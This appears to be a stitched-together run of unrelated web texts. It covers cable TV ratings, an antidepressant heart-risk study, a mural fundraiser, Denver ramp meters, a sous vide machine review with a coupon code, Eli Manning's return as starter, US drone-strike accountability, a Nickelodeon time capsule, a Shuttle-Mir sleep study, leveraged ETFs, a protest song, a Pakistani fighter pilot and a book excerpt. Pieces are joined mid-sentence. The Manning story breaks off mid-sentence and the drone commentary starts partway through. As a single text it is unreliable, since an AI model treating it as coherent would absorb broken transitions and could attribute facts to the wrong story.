Show Net Time Total Viewers (000s) 18-49 rating NCAA TOURNAMENT TBS 9:41 PM 3,365 1.1 NCAA TOURNAMENT TNT 6:00 PM 2,289 0.8 NCAA TOURNAMENT TNT 8:44 PM 2,243 0.7 NCAA TOURNAMENT PREGAME TNT 8:27 PM 1,979 0.7 SAMURAI JACK ADULT SWIM 11:00 PM 1,300 0.7 NCAA TOURNAMENT POSTGAME TBS 12:01 AM 1,576 0.6 NCAA TOURNAMENT TBS 7:00 PM 1,786 0.6 SPONGEBOB NICK 10:00 AM 2,129 0.5 DRAGON BALL Z KAI/FINAL ADULT SWIM 12:05 AM 973 0.5 NCAA TOURNAMENT PREGAME TBS 9:22 PM 1,528 0.5 JOJOS BIZARRE ADVENTURE ADULT SWIM 12:30 AM 790 0.4 LIVE PD A&E 9:00 PM 1,295 0.4 MOVIE – DOUBLE MOMMY LIFETIME 10:02 PM 1,433 0.4 HOUSE HUNTERS RENOVATION HGTV 10:00 PM 1,666 0.4 MOBILE SUIT GUNDAM/UNICORN ADULT SWIM 1:00 AM 679 0.4 WORLD BASEBALL CLASSIC MLB NETWORK 10:09 PM 852 0.3 BUNSEN IS A BEAST NICK 10:30 AM 1,523 0.3 SPORTSCENTER ESPN 1:00 AM 669 0.3 MURDER COMES TO TOWN ID 10:00 PM 1,248 0.3 PIONEER WOMAN FOOD 10:00 AM 1,292 0.3 HENRY DANGER NICK 8:00 PM 1,645 0.3 ELENA OF AVALOR DISNEY CHANNEL 9:00 AM 1,451 0.3 LOG CABIN LIVING HGTV 11:00 PM 1,415 0.3 MOVIE – MOMMY’S LITTLE BOY LIFETIME 8:00 PM 1,383 0.3 SPORTSCENTER WEEKEND ESPN 10:00 AM 791 0.3
Source: The Nielsen Company.Among mental disorders, which according to last month’s issue of JAMA Psychiatry can double people’s mortality risks, depression is one of the most frequent and most overlooked. However, a new study organized by doctors from the Intermountain Medical Center Heart Institute in Salt Lake City proved that treating depression can save lives not only in terms of reducing suicidal behavior, but also in terms of improving patients’ physical condition. Of the 26,000 patients that received treatment from this medical center in 3 years, 5,311 were included in the study. They were patients with moderate or severe depression, while the remaining 21,517 (around 80% of cases) were diagnosed with mild depression or no depression (following a 9-question depression test).
The connection between stroke-preventive efficiency and treatment with antidepressants was stronger in patients with more severe cases of depression. Usually, cholesterol-lowering drugs such as statins are used alongside antidepressants to lower cardiovascular risks, but this research has surprisingly shown that antidepressants alone were a better cure than both statins alone and statins combined with antidepressants. Doctor Heidi May, PhD, lead author of the study, said that the specialists had expected a cumulative effect (antidepressants plus statins were thought to work better), and found, however, that antidepressants were making a major difference. The research was focused on monitoring three risk-factors: death rates, coronary artery disease and stroke. The frequency of these three events was compared between equally depressed patients, part of whom took only antidepressants, while the other part took neither antidepressants nor statins.
To explain the improvement that antidepressants brought to the patients’ cardiovascular health, Dr. Heidi May invoked the behavioral changes triggered by antidepressants, not only affecting their mood in a positive way, but also their daily routines and consequently the activity of their cardiovascular systems. According to this specialist, assessing depression in patients early on is very important, especially now that we know it has physical consequences.
In a 2012 statistical study, published by the US Centers for Disease Control and Prevention, major depressive disorder was revealed to correlate with 17% of cardiovascular cases and 23% of cerebrovascular cases. Dr. May’s analysis took risk factors like smoking, diabetes, and high blood pressure into account, but did not discriminate between patients who took counseling or started an exercise routine and patients who didn’t. The study will be presented at the 64th annual scientific session of the American College of Cardiology in San Diego, on the 15th of March.
image credit: nexusBuy Photo The alley near the History Museum at the Castle could be transformed to a public art space. (Photo: Grace Ebert/Post-Crescent Media)Buy Photo
The alley near the History Museum at the Castle could gain a lot of life and color with a new mural.
Organizers started a Kickstarter fundraiser for The Alley Project, a campaign to raise $4,000 by July 21 to paint a mural on the side of the museum, creating a new space for Mile of Music and other events with public art, food trucks and, of course, live music.
Currently, the campaign has 12 days to go and has raised $2,175.
Nick Hoffman, chief curator for the museum, is heading the project and said the mural will feature aspects of the outdoors and bicycle riding because of Wisconsin's love for the two-wheeler. He said the theme ties into a bicycle exhibit coming to the museum this fall.
"It's just a fun, whimsical way to have fun and support the expanding art scene," Hoffman said.
Hoffman needs a city permit to paint the mural, and once the money is raised, he will apply to begin the project.
"You never know if people will be drawn to it," Hoffman said of the campaign. "The only loss would be an opportunity for public art for Appleton."
An early drawing shows basic plans for the mural. (Photo: Submitted/History Museum at the Castle)
A website helping creatives raise money for projects, Kickstarter is an easy way to get the word out about the project, Hoffman said. On the website, a date is set, and if money is not raised by that date, the fundraiser fails and no one backing the project has to pay. If the project meets the goal by the set date, each person who has pledged to donate pays.
Hoffman said the space will bring a new art venue to the area and be a place to gather during various events.
"We were looking to have a really fun way to participate in Mile of Music," Hoffman said. "We want to take it to the next level."
Appleton resident Chad Brady will paint the mural if funded and said he is happy to create art that is part of a larger concept.
"This one is art for art's sake. It's a mural to be a mural," Brady said. "I think it'll help pull it all together for Mile of Music."
Brady, along with other residents, have been working to create more murals throughout the city and make Appleton a scene for public art. He said this mural, if funded, will take about a week to finish and could start a trend for similar projects.
"I'm excited that it'll get the public out there," Brady said. "Hopefully this will be the first of many murals."
If the campaign does not meet the fund-raising goal, Hoffman said the events during Mile of Music will still occur. Project partners include Pulse Young Professionals Network, Wriston Art Center Galleries, Mile of Music and Young Space.
Campaign information can be found on The Alley Project's Kickstarter page.
Read or Share this story: http://post.cr/1IMmQCVMarjorie from Aurora writes, “What is driving you crazy? Why don't on-ramp metering lights alternate? When both lanes have the green light at the same time, it seems to always end up in a game of "chicken." Not only do you need to watch traffic so that you can merge safely, but then you also have to watch the bozo in the next on-ramp lane so he/she doesn't cut you off. Makes no sense to me.”
I’ve been to other cities Marjorie where they alternate traffic on the ramps just like you say and it seems to me to work well. CDOT has been operating freeway entrance ramp signals since the early 1990s.
Stacia Sellers, CDOT Region 1 Communications Specialist tells me while some agencies around the nation operate ramp metering systems by staggering the release of vehicles, ramp meters in the Denver area have operated with both lanes releasing at the same time, beginning with the earliest installations over 30 years ago.
“Within that time, we have not found that this type of operation has a quantifiable negative impact on safety,” said Sellers.
Another big reason CDOT wants to leave the metering ramps the way they are is it would be very expensive to change it.
“Federal guidelines now require that ramp meter installations in which both lanes are not released simultaneously, be constructed with overhead signals, which would add approximately $50,000-$75,000 per site in upgrade costs,” Sellers said.
MORE: Read more traffic issues driving people crazy
When you multiply that much money by the 150 ramp metering sites in the Denver metro area that would require improvements, the cost is just too high.
“Modifications to the control system software and to the controllers, signal equipment, and wiring at more than for which no funding is identified at this time,” Sellers said.
So even though you have a good idea, drivers leaving the stop bar at the current metered lights will have to still determine between each other rather quickly which of the two will enter first.
Denver7 traffic reporter Jayson Luber says he has been covering Denver-metro traffic since Ben-Hur was driving a chariot. (We believe the actual number is over 20 years.) He's obsessed with letting viewers know what's happening on their drive and the best way to avoid the problems that spring up. Follow him on Facebook and Twitter or listen to his Driving You Crazy podcast.10/10 Performance - 10/10
9/10 Ease of Use - 9/10
8.5/10 Design - 8.5/10
10/10 Features - 10/10 9.4/10 Summary The long-awaited nearly-forgotten sous vide legend finally ships – and it does not disappoint (unless you have a large family…)
UPDATE: See the bottom of this review to find out how you can use coupon code SVGUY to get free Mellow cooking bags with the purchase of a Mellow for a limited time!
Before I dive into the full review of the Mellow sous vide machine, I want to point out a few major characteristics that you’ll either love or hate. I’m not labeling them as pros and cons, because that’s really up to the user. However, I wanted to give this info up front (save you some precious internet reading time) in case one of these really makes or breaks the deal for you.
If it wasn’t apparent from the appearance, this is an all-in-one self-contained machine, similar to the Sous Vide Supreme, so your cooking space is limited to the Mellow container.
Similar to ChefSteps Joule, Mellow must be controlled via smartphone. There are no physical controls. Personally, I do not mind this at all, especially since the app is well-made.
Mellow is the first sous vide machine to offer factory-tested cooling (aka ice baths) to keep your food safe throughout the day, enabling you to start a cook before you leave work.
*Due to the restricted size and innovative refrigeration capability, Mellow is best suited for those of you who are working couples/single. If you have a larger household, the restricted size may be troublesome to fit all of the food.
*My opinion
Mellow Sous Vide Review
Sous vide popularity continues to rise as innovative start-ups create easy and effective methods of cooking the perfect sous vide meal. More recently, immersion circulators have been in the spotlight, serving as a compact and low-cost alternative to sous vide ovens. However, one company is working to reinvigorate the traditional sous vide oven, and I think they succeeded. Meet Mellow.
Mellow is a smart sous vide machine that can be controlled from your phone, allowing you to start cooking dinner when leaving work and come home to a perfectly cooked sous vide meal. Multiple sous vide machines currently on the market have WiFi capability, so what sets Mellow apart? Let’s dive into the key features of this sous vide machine.
Design
Let’s be honest, at first glance, nobody thought this would be a kitchen gadget – at most, it looks like a fancy humidifier. Or a fish tank? Nonetheless, this is actually a positive in my book because the design does not look like a traditional bulky stainless steel kitchen appliance. Coming in at 16” tall and 6” wide, Mellow is quite the conversation piece when guests come over (“what the #@$% is that?”) and the first sous vide machine I’m personally fine with leaving on the counter full-time.
Technical Specs
Heating Power: 1,000 Watt
Cooling Power: 50 Watt
Cooking Capacity: 4.5 Liters (roughly 6 regular portions)
Temperature Range: 35 degrees to 192 degrees Fahrenheit
Temperature Accuracy: +/- 1 degree Fahrenheit
Water Bath
The water bath consists of a double-walled removable tank which helps insulate temperatures and conserve energy. After my first test, I was really surprised with how well-insulated the container was, which was essentially cool to the touch after cooking at 135F. If you’ve ever used polycarbonate containers for an immersion circulator, you know how warm they can get. The size of the water bath is 9” x 4” x 7”, providing decent space for food. Now, when I say decent, I mean its a good size for cooking for one to two people. The container is essentially full after adding two thick cut steaks. As a reference, I was able to fit a 4” thick single rib roast in the container, with just a little bit of room to spare.
Features
Refrigeration System and Weight Sensor
Without a doubt, the most innovative feature of Mellow is the built-in refrigeration system to keep your food fresh while waiting for your perfect time to begin cooking. This allows you to place food in the sous vide machine before leaving the house and not have to worry about the food going bad from sitting out all day. Anova’s Wifi Precision Cooker can use an ice bath hack to achieve similar results, but you then carry the risk of inadequately guessing how much ice to add in the morning.
Mellow also has a built-in weight sensor in the base of the unit. This smart sous vide machine will actually know when you place food into the water bath, which kicks on the refrigeration unit. You can then use the Mellow app to begin cooking at a later time.
Heater and Circulation
Mellow comes with a 1,000W heater, which is higher than the Sous Vide Supreme and the same as the Tribest Sousvant. This is a bit lower than some of the immersion circulators on the market, however the insulated water bath helps offset the lower wattage heater.
I always test sous vide machines by heating up 6L of water from 75F to 135F. The Mellow just barely fit 6L of water (at this level, I wouldn’t be able to add any food without it overflowing), so the test criteria worked fine. After 13 minutes and 54 seconds, it reached the target temperature and was accurate within ~1 degree F (testing with two instant read thermometers).
The circulation inside Mellow’s water bath can be a bit noisy from all of the bubbles pulsing from the bottom; there’s also a bit of a whirling/humming noise beneath the bubbles. However, if you plan to use this machine to its fullest capabilities, noise really won’t matter much since you’ll be using it when you’re not home.
Connectivity
Pairing my phone to the device was really easy, but also a bit weird. It instructs you to place the screen of your phone against the flashing logo on the Mellow machine. Curiously, I had to take a look at my phone screen once the process started to see if this was really necessary. Epilepsy warning: the phone just starts flashing like a strobe light. I still have no idea if that really connects the device somehow, or if it just uses a standard bluetooth but wanted the experience to be a bit cooler.
As we previously mentioned, Mellow uses your WiFi network to communicate between the device and your phone. In addition to controlling the device (when to start cooking), Mellow can also make suggestions and learn to cook the food to your personal taste. This is done by sending and receiving feedback after meals. If you didn’t like the way your salmon turned out, Mellow can offer suggestions for improving it the next time you cook based on your personal feedback.
Performance and Final Thoughts
My first test with Mellow resulted in perfection: beef short ribs served with a drippings reduction and mashed white sweet potatoes.
Honestly, this was the most excited I’ve been for the release of a sous vide product. Mellow’s Apple-esque design and innovative refrigeration capabilities not only reinvigorated the sous vide market, but it’s sure to set a new standard for sous vide machines. With that said, the water bath size may be an issue for some people and the sticker shock may be overwhelming. If you don’t need a ton of cooking space, love the idea of refrigerated water baths, and you’re willing to jump the price hurdle (especially as immersion circulators keep dropping in prices), you won’t be disappointed.
Mellow Sous Vide Discount/Coupon Code
Looking for a coupon code to use with the purchase of your Mellow? For a limited time, you can apply the discount code SVGUY at checkout and get a free set of Mellow Bags! Just add a Mellow sous vide unit and at least one set of Mellow Bags to your cart, and enter “SVGUY” as your discount code at checkout.
This offer is only valid through the Mellow website and for a limited time exclusively to Sous Vide Guy readers!Two-time Super Bowl MVP Eli Manning is back as the New York Giants’ starting quarterback.
A week after being benched by former coach Ben McAdoo, Manning was put back into the starting lineup for Sunday’s game against the Dallas Cowboys by interim coach Steve Spagnuolo.
“My gut right now says Eli should be the starter,” Spagnuolo said in explaining the move after practice Wednesday.
The 36-year-old Manning was told of the decision on Tuesday. He had walked into Spagnuolo’s office on Monday after McAdoo was fired and told the former defensive coordinator that he wanted to start again.
“It’s important to play, that’s what I love to do,” Manning said after practice. “I love to play quarterback and I love to play quarterback for the New York Giants. So that’s what I will work on.”
Manning had started 210 consecutive games over the past 13-plus seasons until being replaced by Geno Smith against Oakland last week. The streak was the second-longest in NFL history, only surpassed by Brett Favre (297).
The first hint of the change back to Manning came early in practice when he took the first snap with the offense.
Of course, some of the offensive linemen appeared to tease him as he entered the huddle.
“We reintroduced ourselves to him, especially me,” said tackle Justin Pugh. “I have been out for a little while (three weeks) and I wanted to let him know who I was, even though we shared the scout team huddle last week. It was good to see 10 in there. He has been my quarterback ever since I have been in the league.”
The benching of Manning last week upset the quarterback and angered Giants fans. Combined with the team’s 2-10 record and other problems, it led co-owners John Mara and Steve Tisch to fire McAdoo and general manager Jerry Reese on Monday.
“I think you all know how I feel about Eli,” Spagnuolo said. “What happened, happened. In the long run, hopefully it’s a really good thing. He walked in my office, and as a coach you want every player to walk into your office with the intent and determination he had.”
When McAdoo benched Manning, he said the team needed to evaluate Smith and rookie Davis Webb in the final month of the season so it could head into the offseason with a clearer plan about the quarterbacks.
Spagnuolo was not sure whether the evaluation would be done, adding his goal is to win games. He said that Manning gives the Giants the best chance to do that.
Smith will be the backup quarterback, Spagnuolo said, adding that Webb’s workload in practice has increased in recent weeks.
Spagnuolo had a long meeting with Smith and understood his disappointment at losing the starting job through no fault of his own. Spagnuolo added he was impressed with Smith’s professionalism in handling the situation.
“I am just going to continue to be the same guy, continue to support my guys, my teammates,” said Smith, a former Jet who was signed as a free agent in the offseason. “I am going to continue to be prepared. You never know what will happen.”
Smith completed 21 of 34 passes for 212 yards and a touchdown. He also lost two fumbles after being sacked in the 24-17 loss to the Raiders.
“I feel bad for Geno, too,” Pugh said. “He didn’t ask to be put in this situation. A lot of disrespect and hate were thrown his way. It’s just uncalled for. I get that everyone wants to support Eli, but by supporting one man and putting another down is not the way |
in circumstances which violate the relevant rules of international law,” Alston said. “The international community needs to be more forceful in demanding accountability.” He elaborated:
“I’m particularly concerned that the United States seems oblivious to this fact when it asserts an ever-expanding entitlement for itself to target individuals across the globe. But this strongly asserted but ill-defined license to kill without accountability is not an entitlement which the United States or other states can have without doing grave damage to the rules designed to protect the right to life and prevent extrajudicial executions.”
Last month, Obama for the first time admitted that the U.S. is carrying out drone strikes in Pakistan, and in response Amnesty International immediately requested clarification from the administration on the drone program’s legality.
“The US authorities must give a detailed explanation of how these strikes are lawful and what is being done to monitor civilian casualties and ensure proper accountability,” said Amnesty International’s Sam Zarifi on Jan. 31.
“What are the rules of engagement? What proper legal justification exists for these attacks? While the President’s confirmation of the use of drones in Pakistan is a welcome first step towards transparency, these and other questions need to be answered,” Zarifi said.
So far though, it doesn’t appear that the administration has felt the need to reply, perhaps because it knows it has nothing to lose politically by disregarding these commitments on human rights and international law.
As the Washington Post pointed out, even though “Obama campaigned on a pledge to close the brig in Cuba and to change national security policies he criticized as inconsistent with U.S. law and values, [he] has little to fear politically for failing to live up to all of those promises,” due to the fact that his liberal base has reversed its views on these subjects since George W. Bush was president.
Constitutional lawyer and Salon.com blogger Glenn Greenwald has attributed these shifting attitudes to “blind leader loyalty,” pointing out that “during the Bush years, Guantanamo was the core symbol of right-wing radicalism and what was back then referred to as the ‘assault on American values and the shredding of our Constitution.’”
But “now that there is a Democrat in office presiding over Guantanamo and these other polices, rather than a big, bad, scary Republican, all of that has changed,” says Greenwald.
While partisan allegiance and liberal hypocrisy may indeed explain the reversal in attitudes to these policies to a large extent, it is also possible that what the shift represents is a subconscious acceptance by the American people of illegal and immoral policies that they would have rejected out of hand ten years ago.
After more than a decade of the “global war on terror,” and years of legitimization of these policies by the media and an overwhelming bipartisan consensus in Washington regarding these policies, it’s possible that the American public has simply grown desensitized to what arbitrary detention, torture and extrajudicial assassinations really mean, and how out of step with civilized values these U.S. policies really are.
With the Obama administration’s failures to prosecute the worst crimes of the Bush years as well as its continuation of many of the same policies, the U.S. government’s routine violations of international norms has seemingly become normalized to a broad cross-section of the American people.
Nat Parry is co-author of Neck Deep: The Disastrous Presidency of George W. Bush. [Reposted from Compliancecampaign.wordpress.com with author’s permission.]In 1992, Nickelodeon got together with the Kids World Council (also known as "minors who were allowed to call in and vote") to decide what was most important to kids at the time. Then they assembled those items, put them in a big orange time capsule, and buried it in front of Nickelodeon Studios in Universal Studios. Here's a list of everything inside:
1. Movies
Home Alone and Back to the Future on VHS.
2. CDs
Please Hammer, Don't Hurt 'Em by MC Hammer and Michael Jackson's Dangerous album.
3. A Nintendo Game Boy
Image credit: William Warby/Wikimedia Commons
4. Rollerblades
5. Reebok Pump sneakers
6. A jar of Gak
At the request of a remarkably sub-par Dr. Emmett Brown impersonator, who showed up in a real DeLorean and fake hair.
7. One of Joey Lawrence's "Whoa! 92" hats, which he stopped by to present
8. News reports
Girl standing atop Soviet tank in Red Square during the Communist hard liners’ coup attempt in August 1991. © David Turnley/CORBIS
Coverage of the AIDS crisis, Desert Storm, and the end of the Soviet Union.
9. Books
A world atlas, history book, comic book, phone book, the Orlando TV Guide for the week of April 30, 1992, and a copy of the Book of Endangered Species
10. An issue of Nickelodeon magazine
11. A Nicktoons t-shirt featuring Ren & Stimpy
12. A piece of the Berlin Wall
13. A Barbie doll (not this one)
14. Pencils
15. A skateboard
16. A baseball
17. Twinkies
Image credit: Flickr user WaffleWhiffer
18. A stick of bubble gum (though no one seems to know which kind)
19. Photos of things too big (or alive) to fit inside
Including bicycles, planes, trains, cars, politicians and celebrities.
20. A videotape
Which was a recording of the live ceremony, shot by a girl named Vicky who stood onstage to operate the Kid Cam.
21. The camera recording the tape
This appears to have been unplanned. Mike O'Malley and Joey Lawrence both looked baffled about how to remove the tape from the camera, so the whole setup was tossed in at the last minute.
Image credit: UmmYeahOk/FlowerMound.net
After Nickelodeon Studios closed in 2005, the time capsule was moved to Nickelodeon Suites Resort in Orlando. It will be removed and opened April 30, 2042 -- 50 years after it was first buried. We promise full team coverage that day.
And of course someone has uploaded footage of all this to YouTube:Life on Earth has developed to be in tune with the cycles of daylight and darkness that stem from our planet's 24 hour rotation. Like other animals, human beings have an internal biological "clock" which acts as a biological timekeeper. For diurnal creatures like ourselves, the clock prepares the body and mind for restful sleep at night and active wakefulness during the day. The clock also regulates many, if not all, essential body functions such as body temperature, glandular secretion, heart rate and urine excretion to name a few. This clock is referred to as the Circadian Timing System (CTS) and requires time cues from the environment in order to keep it synchronized with the 24 hour rotation of the Earth.
This experiment, which consisted of three sleep investigations combined into one experiment, was designed to study the effects of space flight on the CTS of crewmembers before, during, and after space flight. Sleep patterns and reports on crewmember dreams were recorded over a prolonged exposure to microgravity. These data were correlated with physiological adaptations to microgravity. Changes in rapid eye movement (REM) sleep with adaptation to microgravity and readaptation to a 1-G environment were studied. This study also explored specific biochemical changes in the immune system during sleep, and how they are affected in microgravity.
Experiment Objectives
A. Human Circadian Rhythms and Sleep in Space
Principal Investigator: Timothy H. Monk, Ph.D.
The specific aim of this experiment was to evaluate sleep, mood and activation, body temperature, and performance in crewmembers during long-duration space flight.
B. Sleep and Vestibular Adaptation
Principal Investigator: J. Allan Hobson, M.D.
The objectives of this study were to look at variations in sleep and dreaming over an extended period of space flight, with special attention to changes in sleep and dreaming associated with the vestibular adaptation that occurs with transition to and from microgravity conditions.
C. Microgravity, Sleep/Wake Immune Functions (SWIF) in Humans
Principal Investigator: Harvey Moldofsky, M.D.
This study assessed changes in the immune system coincident with sleep physiology during extended space flight and related any changes to preflight and postflight conditions. In particular, researchers wanted to determine if there are any long-term adverse effects of microgravity on the immune system that can be related to the sleep-wake cycle. Such disturbances in neuroendocrine system and immune system functions might have an impact on the risk for ill health, especially infectious disease.
Shuttle-Mir Missions
Mir-23/NASA-4, Mir-24/NASA-5
Approach
During NASA-4/Mir-23, three crewmembers completed measurements relating to the combined sleep protocol. The experiment was divided into three 12-day segments called measurement "blocks" spread throughout the mission. During each of the three 12-day blocks (early, middle, and late mission), the crewmembers completed pre- and postsleep questionnaires, measured body temperature (orally) 5 times per day, completed mood and activation tests (5 per day), and completed a performance test (1 per day). Dr. Monk's research team used this information to test the hypothesis that space flight causes changes in the CTS resulting in bouts of sleep disruption and impairments in daytime mood, alertness and functioning.
Also on each of the three 12-day blocks, crewmembers monitored sleep by wearing an apparatus called a Night Headband Monitor (NHM). The NHM was specifically designed to measure the various stages of sleep by recording brain wave activity, eye movement and head movement. The headband was connected to a computer and all data stored on disk. Dr. Hobson's research team used the data to determine the quantity and quality of sleep, especially REM sleep, in the test subjects.
On days 4 and 5 of the second and third blocks, crewmembers attached electrodes and wore a Medilog Sleep Research Recorder (MSRR) skull cap prior to sleep. This piece of hardware was used to assess the relationship of brain waves during sleep to immune functions. Blood samples were also drawn on days 4 and 5 of the second and third blocks. The samples were collectd in the early afternoon (approximately 2 PM) and prior to sleep. Dr. Moldofsky's team used the blood samples to measure blood immune parameters. After flight, the blood analyses and MSRR data were compared to test that changes in sleep, particularly between wakefulness and sleep, are indices of causal mechanisms that produce changes in immune parameters.
This investigation was conducted for the first time during the NASA-4/Mir-23 mission. The experiment protocols were repeated on NASA-5/Mir-24 mission with two additional crewmembers.
Results
One astronaut and four cosmonauts wore the Night Headband Monitor for a total of 317 nights of sleep data. Subjects recorded an average of 26 nights of sleep during the preflight period, 24 nights in flight, and 14 nights during the postflight recovery period. All told, 120 nights of sleep data were collected in flight, between the 24th and 171st day in orbit. Sixty of the 120 nights were recorded more than three months into the flight.
Preliminary analyses showed that REM sleep was severly diminished during flight for all five subjects. Both REM time and REM % (of total sleep time) were significantly diminished. On average, REM time was greatly reduced in flight compared to preflight. In contrast, postflight rates were essentially the same as preflight, showing on average a slight increase in REM time as compared to the preflight period. There was also a decrease in total sleep time in flight. All subjects showed decreases in average nightly total sleep time. This did not result from a decrease in time in bed; subjects spent on average 4% longer in bed while in flight. Rather, it resulted from a decreased sleep efficiency.
Preflight, inflight and postflight subjects answered questions on sleepiness, fatigue, pain and mood as well as performance that had been incorporated into a battery of questions. Detrimental effects were observed in alertness, mood and preceived work performance on the day following sleep episodes of five hours duration or less.
Immunologic and endocrine assays were carried out on the blood samples collected preflight, in flight, and postflight. The relationship between sleep activity to immune functions was examined. The preflight baseline data collection from all crewmembers were compared to a group of healthy male volunteers to determine if sleep/wake age-related immune and endocrine functions were present in the middle-aged male crewmembers during baseline conditions before flight on Mir versus young healthy males.
Middle-aged crewmembers in preflight baseline conditions differed from young healthy males in the timing of the diurnal pattern of NK cytotoxicity, hGH and cortisol. They also secreted less hGH and more cortisol over a 24-hour period. These hypothalamic-pituitary-adrenocortical (HPA) axis endocrine differences in healthy middle-aged men were similar to those seen in healthy older men. While the dynamic structure of NK cytotoicity differed, there was no overall mean difference from young males.
The Night Headband Monitor (NHM) permitted more extensive sleep recording during space flight than has been previously possible. The data collected over 6 months of flight indicated that extended space flight leads to a consistent and pronounced decrease in sleep eficiency, time spent in REM sleep, and the percent total sleep time spent in REM sleep as measured by the NHM. Neither the causes nor the consequences of these alterations are clear, but the continued reduction in these values might well lead to diminished performance of crewmembers in space.
Earth Benefits
Night workers and people who travel rapidly across time zones run into problems that arise from their circadian systems. Sleep is often interrupted or shortened and daytime mood, alertness and performance impaired. Study of sleep, circadian rhythms, and performance in space allows us to understand what happens to people when they are removed from most of the time cues on Earth. Findings from Dr. Monk's experiment will thus help us to understand the actions of time cues on the human circadian system, and will help us in providing useful coping strategies to night workers and those suffering from jet-lag. His findinges will also be useful in determining what happens to sleep, circadian rhythms and performance when individuals have to respond to major events, be they expected (e.g. extra crew onboard) or unexpected (e.g. a fire). Dr. Hobson's experiment will provide the most extensive recording of sleep over prolonged exposure to microgravity yet obtained and the first collection of dream reports from space. This research will provide additional insight to the effects of sleep posture on the quality and quantity of sleep and even dreaming. Dr. Moldofsky's experiment has significant implications not only for the success, safety, and productivity of space missions, but also on the health and well-being of astronauts. Findings from the experiment will help researchers understand the actions of time cues on the human circadian system, and will help doctors provide useful coping strategies for astronauts and others who experience disturbances in the circadian timing system.
Publications
Monk TH, Buysse DJ, and Rose LR. Wrist actigraphic measures of sleep in space. J Sleep (in press).
Monk TH, Buysse DJ, Billy BD, Kennedy KS, Willrich LM. Sleep and circadian rhythms in four orbiting astronauts. J Biol Rhythms;1998(13)3:188-201.
Leslie, K.R., Stickgold, R.A., DiZio, P., Lackner, J., and Hobson, J.A. ''Sleep and vestibular adaptation: Implications for function in microgravity.'' J. Vestib. Res., vol. 8, no. 1, 81-94 (1998).
Principal Investigators
Timothy H. Monk, Ph.D.
University of Pittsburgh
J. Allan Hobson, M.D.
Harvard University Medical School
Harvey Moldofsky, M.D.
University of Toronto, Canada
Irina Ponomareva
Institute of Biomedical Problems
Co-Investigators
Irina Larina, M.D.
Kathy S. Kennedy, B.A.
Bart D. Billy, M.S.
Timothy Hoffman, M.S.T.
Lynda R. Rose
Linda M. Willrich, B.S.
Franklin A. Lue, M.S.E.E.
A.W. MacLean, Ph.D.
R.M. Gorczynski, Ph.D., M.D.
James MacFarlane, Ph.D.
C.G. Jiang, M.D.
Robert Strickgold, Ph.D.An unprecedented effort to create funds that would have delivered four times the return of the S&P 500 has run into a regulatory roadblock.
The Securities and Exchange Commission earlier this month approved an application from ForceShares that would have created the two exchange-traded offerings — the ForceShares Daily 4X US Market Futures Long Fund and ForceShares Daily 4X US Market Futures Short Fund.
The funds would use derivatives to represent four times the gains or losses of the S&P 500 futures contract, and the respective tickers were to be UP and DOWN.
However, some market participants complained that the funds were risky and could cause unwitting buyers to sustain major losses.
In an unusual move, the SEC commissioners are reviewing the approval that came from staff members and could shoot down the funds, according to a report in The Wall Street Journal. The three-member commission also could uphold the decision, though the move to review the staff approval could signal trouble for the funds."We are the 99 percent!" call and answer Rise Against vocalist Tim McIlrath and System of a Down singer Serj Tankian with a crowd of like-minded Occupy protestors from Zuccotti Park and Liberty Square. That's the chorus for, not surprisingly, "We Are the 99 Percent," a new rock protest anthem from former Rage Against the Machine guitarist Tom Morello.
"I wanted to do a huge riff-rock anthem," Morello told Rolling Stone, which premiered the song on Thursday. "It would feel like the excitement of the global Occupy Wall Street movement."
Morello, McIlrath and Tankian teamed for the track just last week, after Morello was "re-energized" by the Occupy movement's one-year anniversary. Fans of Rage Against the Machine will immediately notice Morello's signature guitar sound, which could accurately be described as a boomerang being shot out of a cannon.
Morello and Tankian will make the track available for free download starting on Friday. For now, head over to RollingStone.com to take a listen.Pakistan's first war-ready female fighter pilot has said she is ready to defend her country, and sees no difference between herself and her male colleagues when it comes to "precision bombing".
Ayesha Farooq, from Punjab province's city of Bahawalpur, is one of 25 women who have become pilots in the Pakistan Air Force over the last decade.
Out of the 25, there are five other female fighter pilots who have yet to take the final tests to qualify for combat, news agencies said on Thursday. Non-fighter pilots fly slower aircraft, ferrying troops and equipment around the country.
"I don't feel any different. We do the same activities, the same precision bombing," the 26-year-old said of her male colleagues at Mushaf base in north Pakistan.
Because of terrorism and our geographical location it's very important that we stay on our toes - Ayesha Farooq, Pakistan's first female fighter pilot,
A growing number of women have joined Pakistan's defence forces in recent years as attitudes towards women change.
"Because of terrorism and our geographical location it's very important that we stay on our toes," said Farooq, referring to Taliban fighting and a sharp rise in sectarian violence.
Deteriorating security in neighbouring Afghanistan, where US-led troops are preparing to leave by the end of next year, and an uneasy relationship with India, add to the mix.
Farooq was at loggerheads with her widowed mother seven years ago when she said she wanted to join the air force.
"In our society most girls don't even think about doing such things as flying an aircraft," she said.
Family pressure against the traditionally male-dominated armed forces dissuaded other women from taking the next step to become combat ready, air force officials said.
'Less of a taboo'
"More and more ladies are joining [the force] now," said Nasim Abbas, Wing Commander of Squadron 20, made up of 25 pilots, including Farooq, who fly Chinese-made F-7PG fighter jets.
"It's seen as less of a taboo. There's been a shift in the nation's, the society's, way of thinking," Abbas told Reuters news agency on the base in Punjab's Sargodha district.
There are now about 4,000 women in Pakistan's armed forces, largely confined to desk jobs and medical work.
But over the last decade, women have become sky marshals, defending Pakistan's commercial liners against insurgent attacks, and a select few are serving in the elite anti-terrorist force.
Like most female soldiers in the world, Pakistani women are still banned from ground combat.
Pakistan now has 316 women in the air force compared to around 100 five years ago, Abbas said.
"In Pakistan, it's very important to defend our front lines because of terrorism and it's very important for everyone to be part of it," said avionics engineer Anam Hassan, 24, as she set out for work on an F-16 fighter aircraft.
"It just took a while for the air force to accept this."Since the 1960s, black leaders have placed a heavy emphasis on gaining political power, and Barack Obama’s presidency represented the apex of those efforts. The assumption — rarely challenged — is that black political clout must come before black social and economic advancement. But as Jason L. Riley argues in this excerpt from his new book, “False Black Power” (Templeton Press), political success has not been a major factor in the rise of racial and ethnic groups from poverty to prosperity.
The Voting Rights Act of 1965 was followed by large increases in black elected officials. In the Deep South, black officeholders grew from 100 in 1964 to 4,300 in 1978. By the early 1980s, major US cities with large black populations, such as Cleveland, Detroit, Chicago, Washington and Philadelphia, had elected black mayors. Between 1970 and 2010, the number of black elected officials nationwide increased from fewer than 1,500 to more than 10,000.
Yet the socioeconomic progress that was supposed to follow in the wake of these political gains never materialized. During an era of growing black political influence, blacks as a group progressed at a slower rate than whites, and the black poor actually lost ground.
